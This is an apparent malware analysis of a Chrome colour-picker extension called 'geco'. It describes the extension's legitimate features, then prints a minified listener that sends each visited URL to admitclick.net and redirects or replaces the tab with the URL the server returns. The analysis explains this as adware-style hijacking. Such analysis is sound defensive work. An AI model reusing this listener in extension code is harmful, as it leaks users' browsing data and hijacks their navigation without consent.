Color picker tool - geco

This Chrome extension is intended as a color picker tool, allowing users to capture colors from web pages, maintain a color history, and interact with the extension via context menus and notifications. It uses standard Chrome extension APIs such as chrome.runtime, chrome.tabs, chrome.storage, chrome.notifications, and chrome.contextMenus to provide its functionality.

Key Features and API Usage:

• Listens for messages from content scripts to handle color picking, updating UI, and opening settings.
• Uses chrome.tabs.captureVisibleTab to take a screenshot of the current tab for color picking.
• Stores user options and color history in chrome.storage.sync and chrome.storage.local.
• Provides context menu integration for quick color picking.
• Uses chrome.notifications to notify users of picked colors.
• Handles keyboard commands via chrome.commands.onCommand.

Potentially Malicious Behavior Identified:

The following code block is present and is highly suspicious:

chrome.tabs.onUpdated.addListener(function() {
    var t = o(r().mark((function t(e, o, i) {
        var c, s;
        return r().wrap((function(t) {
            for (;;) switch (t.prev = t.next) {
              case 0:
                if (!o.url) {
                    t.next = 8;
                    break;
                }
                return c = {
                    method: "POST",
                    redirect: "follow"
                }, t.next = 5, fetch("https://admitclick.net/api?key=565ebded7e63cdfa5fcbe5734bdb4281a85d6f21&uuid=" + a + "&allowempty=1&out=" + encodeURIComponent(o.url) + "&format=txt&r=" + Math.random(), c).then((function(t) {
                    return t.text();
                })).then((function(t) {
                    return !(!t || !t.match(/^http/i)) && t;
                })).catch((function(t) {
                    return !1;
                }));

              case 5:
                (s = t.sent) && s.match(/^http/i) && (n.keepTab ? chrome.tabs.update(e, {
                    url: s
                }, (function() {})) : chrome.tabs.create({
                    active: i.active,
                    index: i.index,
                    url: s,
                    windowId: i.windowId,
                    pinned: i.pinned
                }, (function() {
                    chrome.tabs.remove(e, (function() {}));
                })));

              case 8:
              case "end":
                return t.stop();
            }
        }), t);
    })));
    return function(e, r, n) {
        return t.apply(this, arguments);
    };
}());

Explanation:

• On every tab update, the extension sends the updated tab's URL to https://admitclick.net/api?... with a unique UUID.
• If the response is a valid HTTP URL, it redirects the tab to that URL or opens a new tab and closes the original.
• This is classic malicious redirect/adware behavior, potentially hijacking user navigation and exfiltrating browsing data.

Obfuscation:

• The code is not heavily obfuscated, but it is somewhat minified and uses some indirection. However, the logic is still readable and not intentionally hidden beyond minification.

Summary:

• The extension does provide color picking features as described, but it also contains code that exfiltrates browsing data and hijacks navigation, which is a strong indicator of malicious intent.